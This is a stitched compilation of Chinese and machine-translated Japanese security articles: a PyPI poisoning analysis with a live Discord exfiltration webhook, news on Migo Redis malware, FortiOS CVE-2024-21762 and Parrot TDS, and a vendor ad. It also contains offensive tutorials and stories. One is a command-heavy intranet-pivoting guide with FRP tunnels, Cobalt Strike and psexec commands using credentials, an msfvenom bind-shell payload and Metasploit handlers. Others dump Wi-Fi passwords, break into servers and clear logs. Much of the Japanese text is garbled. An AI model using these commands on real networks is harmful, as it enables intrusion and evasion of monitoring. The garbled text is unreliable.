通過程序逆向可知,k7841286.exe負責加載k7841286.dll,k7841286.dll負責啟動真正具備系統密碼盜取能力的木馬程序readings.exe。

k7841286.dll啟動竊密木馬readings.exereadings.exe被多款殺毒引擎識別為gsecdump竊密木馬,主要功能是盜取Windows系統密碼。

Windows gsecdump竊密密碼
Part4數據盜取外傳在收集到系統信息、瀏覽器密碼、Discord賬戶數據、Windows系統密碼等敏感信息後,投毒者會將所有數據打包外傳到Webhook接口。
https://discordapp.com/api/webhooks/1214145679094448168/vyrtZquc2ia5h7R3FtLno2_s7Lhz1MpBoUL-FA0YM4FhHu-vNxuQ2LJoET6kYW_GQ5fo
Webhook數據外傳功能
Part5IoC數據此次投毒組件包涉及的惡意文件和IoC數據如下所示:

排查方式截至目前,該Python惡意組件包仍可從國內主流Pypi鏡像源正常下載安裝,國內Python開發者可根據惡意包信息和IoC數據通過以下方式進行快速排查是否安裝或引用惡意組件包。
開發者可通過命令pip show tohoku-tus-iot-automation快速排查是否誤安裝或引用該惡意py組件包,若命令運行結果如下圖所示,則代表系統已被安裝該惡意組件,請盡快通過命令pip uninstall tohoku-tus-iot-automation -y進行卸載,同時還需關閉系統網絡並排查系統是否存在異常進程。
此外,開發者也可使用OpenSCA-cli,將受影響的組件包按如下示例保存為db.json文件(可參考總結中提到的組件包信息按格式增減),直接執行掃描命令(opensca-cli -db db.json -path ${project_path}),即可快速獲知您的項目是否受到投毒包影響。

懸鏡供應鏈安全情報中心是國內首個數字供應鏈安全情報研究中心,依托懸鏡安全團隊強大的供應鏈SBOM管理與監測能力和AI安全大數據云端分析能力,對全球數字供應鏈安全漏洞、投毒事件、組件風險等進行實時動態監測與溯源分析,為用戶智能精準預警“與我有關”的數字供應鏈安全情報。
HireHackking
安全研究人員最新發現一起針對Linux 主機上的Redis 服務器的安全活動——威脅組織正使用名為“Migo”的惡意軟件來挖掘加密貨幣。
Redis(遠程字典服務器)是一種內存數據結構存儲,用作數據庫、緩存和消息代理,以其高性能而聞名,每秒為遊戲、技術、金融服務等行業的實時應用程序提供數千個請求。
威脅組織通常利用暴露的和可能易受攻擊的Redis 服務器來劫持資源、竊取數據和實施其他惡意目的。
新的惡意軟件的不同之處在於使用系統削弱命令來關閉Redis 安全功能,從而允許加密劫持活動較長時間持續。
Migo 活動由雲取證提供商Cado Security的分析師所發現,他們在蜜罐中觀察到攻擊者使用CLI 命令關閉保護配置並利用服務器。
關閉Redis 防護罩在暴露的Redis 服務器受到攻擊後,攻擊者會禁用關鍵的安全功能,以允許接收後續命令並使副本可寫。
Cado 表示,他們注意到攻擊者通過Redis CLI 禁用了以下配置選項:
马云惹不起马云set protected-mode:禁用此選項將允許外部訪問Redis 服務器,從而使攻擊者更容易遠程執行惡意命令。
马云惹不起马云replica-read-only:關閉此功能使攻擊者能夠直接寫入副本並在分佈式Redis 設置中傳播惡意負載或數據修改。
马云惹不起马云aof-rewrite-incremental-fsync:禁用它可能會導致在僅追加文件(AOF) 重寫期間產生更重的IO 負載,來幫助攻擊者不被檢測到。
马云惹不起马云rdb-save-incremental-fsync:關閉它可能會導致RDB 快照保存期間性能下降,從而可能允許攻擊者造成拒絕服務(DoS) 或操縱持久性行為以獲取優勢。

觀察命令執行
攻擊者設置一個cron 作業,從Pastebin 下載腳本,該腳本從Transfer.sh 檢索Migo 的主要負載(/tmp/.migo) 以作為後台任務執行。
這是一個用Go 編譯的UPX 打包的ELD 二進製文件,具有編譯時混淆功能以阻礙分析。
Migo 的主要功能是直接從GitHub 的CDN 在受感染的端點上獲取、安裝和啟動修改後的XMRig (Monero) 挖礦程序。
該惡意軟件通過創建systemd 服務和關聯的計時器來為礦工建立持久性,確保其連續運行,以攻擊者的帳戶挖掘加密貨幣。

Migo 的Linux 系統調用序列
Cado 報告稱,Migo 使用用戶模式rootkit 來隱藏其進程和文件,從而使檢測和刪除變得複雜。
該惡意軟件修改“/etc/ld.so.preload”以攔截和更改列出進程和文件的系統工具的行為,從而有效地隱藏其存在。
攻擊結束時,Migo 設置防火牆規則來阻止某些IP 的出站流量,並執行命令來禁用SELinux、搜索並可能禁用雲提供商監控代理,並刪除競爭的礦工或有效負載。
它還操縱/etc/hosts 以阻止與雲服務提供商的通信,從而進一步隱藏其活動。
Migo 的攻擊鍊錶明,其背後的威脅組織對Redis 環境和操作已有了深入了解。儘管加密劫持威脅並不太嚴重,但威脅組織卻可以利用該訪問權限來傳遞更危險的有效負載。
HireHackking
漏洞概述漏洞類型
越界寫入/遠程命令執行
漏洞等級
高危
漏洞編號
CVE-2024-21762
漏洞評分
9.3
利用複雜度

影響版本
FortiOS FortiProxy
利用方式
遠程
POC/EXP
已公開
Fortinet FortiOS是美國飛塔(Fortinet)公司的一套專用於FortiGate網絡安全平台上的安全操作系統。該系統為用戶提供防火牆、防病毒、IPSec/SSLVPN、Web內容過濾和反垃圾郵件等多種安全功能。在SSL VPN組件中存在越界寫入漏洞,可能導致未經身份驗證的遠程威脅者通過特製HTTP請求執行任意命令或代碼。
具體影響版本:FortiOS7.4.0-7.4.2,7.2.0-7.2.6,7.0.0-7.0.13,6.4.0-6.4.14,6.2.0-6.2.15,6.0.0-6.0.17FortiProxy7.4.0-7.4.2,7.2.0-7.2.8,7.0.0-7.0.14,2.0.0-2.0.13,1.2-1.0漏洞復現
daydaypoc漏洞平台於2024年3月12日已收錄該漏洞。
以下鏈接可查看詳情:
https://www.ddpoc.com/DVB-2024-6401.html
解決方案官方已修復該漏洞,受影響用戶可升級到以下安全版本:
FortiOS7.4版升級至=7.4.3
FortiOS7.2版本升級至=7.2.7
FortiOS7.0版本升級至=7.0.14
FortiOS6.4版本升級至=6.4.15
FortiOS6.2版本升級至=6.2.16
FortiOS6.0版本升級至=6.0.18
FortiProxy7.4版本升級至=7.4.3
FortiProxy7.2版本升級至7.2.9
FortiProxy7.0版本升級至=7.0.15
FortiProxy2.0版本升級至=2.0.14參考鏈接https://fortiguard.com/psirt/FG-IR-24-015
HireHackking

標題:Parrot TDS將用戶重定向到惡意位置

安全研究人員查看Parrot 流量引導系統(TDS) 使用的10,000 多個腳本後,發現逐漸優化的演變過程使惡意代碼對安全機制更加隱蔽。
Parrot TDS 於2022 年4 月被網絡安全公司發現,自2019 年以來一直活躍。主要針對易受攻擊的WordPress 和Joomla 網站,使用JavaScript 代碼將用戶重定向到惡意位置。
研究人員分析,Parrot 已經感染了至少16,500 個網站,是一次大規模的惡意操作。
Parrot 背後的運營商將流量出售給威脅組織,威脅組織將其用於訪問受感染網站的用戶,以進行分析並將相關目標重定向到惡意目的地,例如網絡釣魚頁面或傳播惡意軟件的位置。
不斷演變的惡意軟件Palo Alto Networks 的Unit 42 團隊最近發布的一份報告顯示,Parrot TDS 仍然非常活躍,並且JavaScript 注入更難以檢測和刪除。
Unit 42 分析了2019 年8 月至2023 年10 月期間收集的10,000 個Parrot 登陸腳本。研究人員發現了四個不同的版本,顯示了混淆技術使用的進展。
Parrot 的登陸腳本有助於用戶分析,並強制受害者的瀏覽器從攻擊者的服務器獲取有效負載腳本,從而執行重定向。

Parrot 攻擊鏈
據研究人員稱,Parrot TDS 活動中使用的腳本是通過代碼中的特定關鍵字來識別的,包括“ ndsj ”、“ ndsw ”和“ ndsx ”。
Unit 42 注意到,所檢查樣本中大多數感染已轉移到最新版本的登陸腳本中,佔總數的75%,其中18% 使用以前的版本,其餘運行較舊的腳本。

所檢查樣本中的登陸腳本版本份額
與舊版本相比,第四版登陸腳本引入了以下增強功能:
複雜代碼結構和編碼機制的增強混淆;
不同的數組索引和處理會破壞模式識別和基於簽名的檢測;
字符串和數字處理的變化,包括它們的格式、編碼和處理;
儘管增加了額外的混淆層和代碼結構的變化,V4登陸腳本的核心功能仍然與之前的版本保持一致;
它的主要目的仍然是分析受害者的環境,並在滿足條件時啟動有效負載腳本的檢索。

登陸腳本版本3
關於負責執行用戶重定向的有效負載腳本,Unit 42 發現了九個變體。除了一些人執行的輕微混淆和目標操作系統檢查之外,這些大多是相同的。
在70% 的觀察到的案例中,威脅行為者使用有效負載腳本版本2,該腳本不具有任何混淆功能。

有效負載腳本版本2
版本4-5 中添加了混淆層,版本6 至9 中變得更加複雜。但是,這些版本很少出現在受感染的站點中。

10,000 個站點樣本中看到的有效負載腳本版本
總體而言,Parrot TDS 仍然是一種活躍且不斷演變的威脅,並且正變得更加難以捉摸。
建議用戶在其服務器上搜索流氓php 文件,掃描ndsj、ndsw 和ndsx 關鍵字,使用防火牆阻止Webshell 流量,並使用URL 過濾工具阻止已知的惡意URL 和IP。
HireHackking
眾多開發者認為SO文件相對而言更加安全,並將許多核心算法、加密解密方法、協議等放在SO文件中。但是,黑客可以通過反編譯SO庫文件,竊取開發者花費大量人力物力財力的研發成果,進行創意竊取或二次打包,使得開發者和用戶利益受損。

作為知名移動信息安全綜合服務提供商,愛加密在SO加固方面擁有3大技術優勢。
一、愛加密so VMP技術,對so文件的源碼進行虛擬化保護,實現數據隱藏、防篡改、防Dump,增加逆向分析的難度。
二、愛加密so Linker技術,對so文件代碼段、導出表和字符串等進行加密壓縮,在函數運行時動態解密,防止so文件被靜態分析,通過內存DUMP源碼。
三、多重保護:多種so加固技術可以聯合使用,增大了代碼反彙編調試破解難度,提高so文件的安全性。愛加密可對Android及Linux 進行so加固,本次僅講述Android SO加固方面的6大核心技術,即so加殼、so源碼混淆、so源碼虛擬化保護、so防調用、so Linker、so融合。
so加殼利用自定義加密算法對C/C++源碼編譯出來的so文件進行加殼,將so文件的編碼進行改變,使加殼後的so文件無法通過ida反編譯工具查看導出符號,使so文件無法正確反編譯和反彙編。加固後效果如圖:

so源碼混淆愛加密通過對so文件的源碼進行混淆,降低黑客反編譯的可讀性,增加反編譯難度。可多種混淆方式聯用,可根據自己的實際需求選擇混淆強度,包含字符串加密、等效指令替換、基本塊調度、基本塊分裂、虛假控制流、控制流扁平化、控制流間接化,本次篇幅有限僅介紹前四種技術手段。
字符串加密:程序當中的字符串,往往會曝露一些關鍵的信息。如圖中所示字符串,表明此部分為用戶登錄的代碼。黑客分析之後,可攻擊用戶登錄頁面,獲取用戶賬號密碼等信息。

愛加密將對源代碼進行語法分析以及邏輯分析,解析出代碼中字符串的位置,採用隨機加密、運行時動態解密的方式對字符串進行混淆以及加密,增大表態分析難度,使破解者無法使用它來快速定位程序核心代碼的位置。
等效指令替換:對C/C++代碼中的函數所對應的原始代碼塊指令進行等效轉換,利用程序代碼的多樣性,增加破解者分析難度,有效的保護核心算法的原始邏輯。

本塊調度與分裂:基本塊指程序中一段按照順序執行的語句序列,只有一個出口一個入口。控制流只能從基本塊的第一條指令進入,最後一條指令離開。基本塊調度是將C/C++代碼中函數的所有基本塊交由調度塊進行分發,使其在反編譯工具中無法逆向出真實的代碼,有效保護源代碼,增加破解者分析代碼的難度。基本塊分裂方面可將一個基本塊隨機分裂成多個基本塊,使控制流更複雜。

so源碼虛擬化保護對SDK中so文件的源碼進行虛擬化保護,實現數據隱藏、防篡改、防Dump,增加逆向分析的難度。 so文件中經過虛擬化保護後的函數,其原有指令已被清空,而真正的代碼已經被編譯成了虛擬機字節碼隱藏起來。

so防調用so防調用可以支持綁定授權APP的包名或者簽名文件信息,可以在運行過程中對包名或者簽名信息進行動態的校驗,確保是正確的授權應用。
so Linker愛加密so Linker安全加固對整個so文件進行加密壓縮,包括代碼段、導出表和字符串等,運行時再解密解壓縮到內存,從而有效的防止so數據的洩露。使用so Linker,隱藏so的基地址,有效的防止so被DUMP。使用函數運行時動態加解密技術(FRAEP),在運行前進行解密,運行結束後進行加密,從而保證了so即使被DUMP,也無法反彙編出源碼(so函數指令不運行時,在內存中處於加密狀態)。 so Linker代碼使用愛加密自有的so VMP技術保護,大大增強了反調試代碼被跟踪的難度。
so Linker安全加固在技術方面擁有5大優勢:
1.對so進行了整體加密壓縮,對整個so進行了有效保護,包括代碼段、符號表和字符串等。 2.使用了函數運行時動態加解密技術(FRAEP),內存中so即使被DUMP,處於加密狀態的函數也無法被反彙編。
3.用so Linker方案後,so的基地址被隱藏,無法通過maps文件查看,提高了被DUMP難度。
4.使用了高強度的反調試技術,增大了被DUMP和被調試的難度。
5.so Linker代碼由愛加密VMP 技術保護,加大了代碼反彙編調試破解難度,效果如下圖:

so融合該技術對SO進行了整體加密壓縮,相對於傳統的加殼技術,有效的對整個SO進行了保護,包括代碼段、符號表和字符串等。 SO 融合代碼由愛加密VMP保護,加大了代碼反彙編調試破解難度。用SO 融合方案後,SO文件及SO的基地址也被隱藏,無法通過maps文件查看,且使用了更高強度的反調試技術,增強了被dump和被調試的難度。

愛加密移動應用安全加固平台為開發者提供全面的移動應用安全加固技術,不僅可進行SO文件加固,更包括Android應用加固、iOS應用加固、遊戲應用加固、H5文件加固、微信小程序加固、SDK加固和源對源混淆加固技術,從根本上解決移動應用的安全缺陷和風險,使加固後的移動應用具備防逆向分析、防二次打包、防動態調試、防進程注入、防數據篡改等安全保護能力,本文介紹的僅為愛加密移動應用安全加固平台中Android SO加固技術。

愛加密作為國內知名的移動信息安全綜合服務提供商,通過不斷探索與實踐,已覆蓋政企、運營商、金融、醫療、教育、能源等多個行業的安全業務場景。並參與了中央網信辦、工信部、公安部、市場監督管理總局等國家監管單位制定移動應用、移動支付相關的標準規範;未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等,守護互聯世界。
HireHackking
01序文
最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。
まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

02テクノロジー番号1
私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。
ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

スクリプトトロイの木馬

あらゆる種類の本名証明書

さまざまなバッチハッキングツール

ブラックハットSEOキーワード

侵入に使用されるさまざまなVPSマシン

さまざまなWebサイトを説明します

03イントラネットの拡張と浸透
各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。
ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。
192.168.1.1 78-44-FD-FD-55-B9ダイナミック
192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック
192.168.1.24 DC-2B-2A-C2-22-15ダイナミック
192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック
192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic
192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック
192.168.1.81 38-53-9C-EE-31-7Eニュース
192.168.1.83 38-71-DE-13-4F-D8ダイナミック
192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック
192.168.1.119 CC-44-63-18-08-4Cダイナミック
192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック
192.168.1.143 A4-D9-31-89-3D-C4ダイナミック
192.168.1.149 48-3B-38-45-4D-22ダイナミック
192.168.1.171 CC-29-F5-78-70-87ダイナミック
192.168.1.178 00-B3-62-7D-F6ダイナミック
192.168.1.206 B0-FC-36-30-79-7Bダイナミック
192.168.1.233 E4-F8-9C-9F-61-FEダイナミック
192.168.1.243 DC-41-5F-05-FE-EFダイナミック
192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5E-00-00-16静的
224.0.0.252 01-00-5E-00-00-FC静的
224.210.34.44 01-00-5E-52-22-2C静的
239.11.20.1 01-00-5E-0B-14-01静的
239.255.255.250 01-00-5E-7F-FF-FA静的
255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static
現在計算されているWiFiアカウントのパスワードを読んで読んでください
Netsh WLANはプロファイルを表示します
すべてのユーザープロファイル: 2317RL-5G
すべてのユーザープロファイル: 2317-ATA-5G
すべてのユーザープロファイル: Huawei-D91c
すべてのユーザープロファイル: TP-Link_6a68
すべてのユーザープロファイル: airtel-e5573-8318
すべてのユーザープロファイル: TP-LINK_88T8
すべてのユーザープロファイル: TB-Link-96A9
netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

情報を収集し続けます
これは、ネットワークに行くハッカーです

04 second
3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

ロボットだけで240以上に達しました
オンラインでは10人未満の実際のユーザーがいます


ハッカーの毎日の仕事は次のとおりです。
最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、
最も一般的に使用されるツールは、バッチツールです



次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します
現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。
元のリンクアドレス:https://www.hackdoor.org/d/216-bc
HireHackking
序文
イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。
以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

ターゲットアウトバウンド(ソックスプロキシ)
これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。
FRP(Socks5)FRPサーバー構成ファイル:
1 | [一般]
2 | bind_port=8080frpクライアント構成ファイル:
1 | [一般]
2 | server_addr=xx.xx.xx.xx
3 | server_port=8080
4 | #Serviceポートは一般的なWebポートを使用します
5 |
6 | [Socks5]
7 | type=tcp
8 | remote_port=8088
9 |プラグイン=socks5
10 | use_encryption=true
11 | use_compression=true
12 | #Socks5パスワード
13 | #plugin_user=superman
14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。
use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]
use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]
use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。
暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。
暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。
コバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。
1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています
プロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。
は、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!
SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。
SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。
操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。
は、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。
1 |ビーコンリンク192.168.144.155
2 | Beaccon Unlink 192.168.144.155 Linkリスナーオンラインホストでリスナーを作成します。
このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。
作成したばかりのリスナーを選択します。
現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)ビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。
1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理
1 |ビーコンシェルNetstat -Ano | FindStr 4444
SSH login1 |ビーコンSSH 192.168.144.174:22ルート管理
2 |ビーコンSSH 192.168.144.203:22ルート管理 Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

ターゲットはネットワークから出ない(HTTPプロキシ)
ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。
Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080
Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。
neo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx
Neo-Regeorgを使用した後、パケットは暗号化されました。
Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。
アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。
Reduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。
ここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。
1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2 |
3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します
4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します
5 | -i、-iterationsカウントペイロードのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。
metasploitは、転送を聞いた後のアドレスとポートです。
1 | sudo msfconsole -q
2 | MSF5 Exploit/Multi/Handlerを使用します
3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します
4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1
5 | MSF5 Exploit(Multi/Handler)Set LPort 5353
6 | MSF5 Exploit(Multi/Handler)Run -J Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。
1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx
2 |
3 | Telnet 127.0.0.1 1010
4 | [CreateTunnel] 5353:127.0.0.1:53 は、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。
1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します
2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します
3 | MSF5 Auxiliary(server/socks4a)run -J に注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

分離ネットワーク(マルチレベルエージェント)
イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。
FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。
プロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)
プロキシルールを設定し、対応するプロキシを選択します。
2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。
ProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)
HireHackking
要約
最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集
baota Backstage
最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。


ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点
将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。




脆弱性マイニング
ポートサービス
=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

次に、ドメイン名を分析します。

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。
次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

